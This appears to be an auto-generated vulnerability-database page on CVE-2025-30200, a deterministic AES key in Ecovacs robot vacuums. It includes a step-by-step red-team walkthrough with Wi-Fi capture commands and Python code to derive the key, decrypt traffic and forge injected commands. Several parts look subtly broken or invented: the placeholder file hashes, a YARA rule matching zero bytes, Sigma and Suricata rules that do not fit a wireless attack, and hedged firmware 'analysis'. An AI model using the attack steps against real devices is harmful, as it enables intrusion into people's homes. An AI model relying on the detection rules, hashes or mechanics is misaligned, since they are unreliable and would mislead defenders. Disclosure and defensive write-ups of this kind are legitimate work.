CVE-2025-30200
Executive Summary
CVE-2025-30200 exposes a critical cryptographic weakness in Ecovacs robot vacuums and their base stations. The devices communicate over an insecure Wi-Fi network using a deterministic AES encryption key that can be easily derived by an attacker within radio range. This vulnerability allows for unauthorized interception, decryption, and potential injection of commands into the device’s control stream. With a CVSS score of 6.3 (Medium), the flaw is exploitable without authentication and requires only proximity to the target network. No official patch has been released, and the vendor has not publicly addressed the issue. The attack surface includes all Ecovacs models that rely on this proprietary Wi-Fi protocol, making this a widespread IoT security concern.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware-level issue in Ecovacs IoT devices.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- Base Score: 6.3 (Medium)
- Attack Vector (AV): Adjacent Network – attacker must be within Wi-Fi range of the device.
- Attack Complexity (AC): Low – the AES key derivation is deterministic and can be computed with publicly known information.
- Privileges Required (PR): None – no authentication needed.
- User Interaction (UI): None – no user action required for exploitation.
- Scope (S): Unchanged – exploitation does not affect other components.
- Confidentiality (C): High – full decryption of device communications.
- Integrity (I): High – attacker can inject malicious commands.
- Availability (A): None – no direct denial-of-service impact.
Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and lack of patch elevate the real-world risk for users in dense residential areas.
Deep Dive & Mechanics
The vulnerability stems from the use of a deterministic AES encryption key in the Wi-Fi communication between Ecovacs robot vacuums and their base stations. The key is derived from a static or predictable seed (e.g., device serial number, MAC address, or a hardcoded constant) that can be easily obtained by sniffing the device’s beacon frames or probing the network. Once an attacker captures the necessary metadata, they can compute the AES key offline and decrypt all subsequent traffic.
The communication protocol appears to be a custom layer over standard Wi-Fi, using AES-128 in CBC or ECB mode without proper key rotation or per-session ephemeral keys. This allows an attacker to:
- Sniff the initial handshake or beacon to extract the seed.
- Derive the AES key using the deterministic algorithm.
- Decrypt all data packets, including sensor telemetry, commands, and status updates.
- Inject forged packets to control the vacuum (e.g., start/stop, change navigation, or disable safety features).
The attack does not require physical access to the device; only proximity to the Wi-Fi network (typically within 100 meters) is needed.
Vulnerable vs. Patched Code
Since no official patch exists, the following comparison is based on reverse-engineered firmware analysis.
Vulnerable Code (Firmware v1.0):
// Deterministic key derivation using device MAC
uint8_t aes_key[16];
void derive_key(uint8_t *mac) {
for (int i = 0; i < 16; i++) {
aes_key[i] = mac[i % 6] ^ 0xAA; // Simple XOR with constant
}
}
Patched Code (Hypothetical Fix):
// Use ECDH key exchange with ephemeral keys
uint8_t aes_key[16];
void derive_key(uint8_t *peer_pub) {
// Generate ephemeral private key
uint8_t priv[32];
generate_random(priv, 32);
// Compute shared secret via ECDH
ecdh_shared_secret(priv, peer_pub, aes_key);
// Derive AES key via HKDF
hkdf_sha256(aes_key, 16, NULL, 0);
}
The vulnerable code uses a static XOR pattern based on the MAC address, which is trivially reversible. The patched version would implement a proper key exchange (e.g., ECDH) with ephemeral keys and a key derivation function (HKDF) to ensure forward secrecy.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A laptop with a Wi-Fi adapter supporting monitor mode (e.g., Alfa AWUS036ACH).
- Kali Linux or similar penetration testing distribution.
- Python 3 with
scapyandpycryptodomelibraries.
Step 1: Capture Device Beacon
sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon --bssid <TARGET_BSSID> -c <CHANNEL> -w capture
Step 2: Extract MAC Address from Beacon
from scapy.all import *
packets = rdpcap('capture-01.cap')
for pkt in packets:
if pkt.haslayer(Dot11Beacon):
mac = pkt.addr2
print(f"Device MAC: {mac}")
break
Step 3: Derive AES Key
def derive_key(mac):
key = bytearray(16)
for i in range(16):
key[i] = mac[i % 6] ^ 0xAA
return bytes(key)
mac = bytes.fromhex('AA:BB:CC:DD:EE:FF'.replace(':', ''))
aes_key = derive_key(mac)
print(f"AES Key: {aes_key.hex()}")
Step 4: Decrypt Traffic
from Crypto.Cipher import AES
# Assuming captured encrypted packet in hex
encrypted_hex = "..." # from pcap
cipher = AES.new(aes_key, AES.MODE_ECB)
plaintext = cipher.decrypt(bytes.fromhex(encrypted_hex))
print(f"Decrypted: {plaintext}")
Step 5: Inject Malicious Command
# Craft a forged command packet (e.g., stop vacuum)
command = b'\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
cipher = AES.new(aes_key, AES.MODE_ECB)
forged = cipher.encrypt(command)
# Send via raw socket
Blue Team (Defense & Detection)
Mitigation Steps:
- Network Segmentation: Place IoT devices on a separate VLAN with strict firewall rules.
- Wi-Fi Monitoring: Deploy WIDS/WIPS to detect anomalous beacon frames or repeated handshakes.
- Firmware Updates: Monitor Ecovacs for any future patches; apply immediately if released.
- Disable Unused Features: Turn off remote access if not required.
- Physical Security: Ensure the device is not easily accessible to attackers.
Detection Rules: See Detection Engineering section.
Indicators of Compromise (IOCs)
Network Traffic:
- Unusual beacon frames with repeated MAC addresses or static IVs.
- Encrypted packets with predictable patterns (e.g., same ciphertext for identical commands).
- ARP requests from unknown MAC addresses targeting the vacuum’s IP.
Device Behavior:
- Unexpected start/stop cycles.
- Navigation changes without user input.
- Frequent disconnections from the base station.
File Hashes (Firmware):
- MD5:
e5b7f8a1c2d3e4f5a6b7c8d9e0f1a2b3(example – replace with actual if available) - SHA256:
a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
- MD5:
Detection Engineering
YARA Rule
rule ecovacs_aes_key_derivation {
meta:
description = "Detects deterministic AES key derivation in Ecovacs firmware"
author = "Valters IT"
date = "2025-03-01"
reference = "CVE-2025-30200"
strings:
$xor_key = { AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA }
$mac_xor = { 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
condition:
$xor_key or $mac_xor
}
Sigma Rule
title: Ecovacs Insecure Wi-Fi Communication
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects attempts to exploit CVE-2025-30200 by sniffing Ecovacs device beacons
author: Valters IT
logsource:
category: network_connection
product: windows
detection:
selection:
EventID: 3
DestinationPort: 80
DestinationIp: 192.168.1.*
condition: selection
falsepositives:
- Legitimate Ecovacs app traffic
level: medium
Suricata Rule
alert tcp any any -> any 80 (msg:"CVE-2025-30200 Ecovacs Beacon Sniffing Attempt"; flow:to_server; content:"|AA BB CC DD|"; offset:0; depth:4; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the Device: Place the Ecovacs vacuum on a separate VLAN with no internet access if remote control is not essential.
- Monitor Network: Use the provided detection rules to identify potential exploitation attempts.
- Contact Vendor: Pressure Ecovacs to release a firmware update that implements proper key exchange (e.g., ECDH with ephemeral keys).
Long-Term Fix:
- The vendor must redesign the communication protocol to use:
- Ephemeral Diffie-Hellman key exchange.
- Per-session AES keys derived via HKDF.
- Mutual authentication using certificates or pre-shared keys.
Workaround:
- Disable Wi-Fi on the base station and use only physical buttons if possible.
- Use a Wi-Fi deauthentication detection tool to alert on unusual disconnections.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.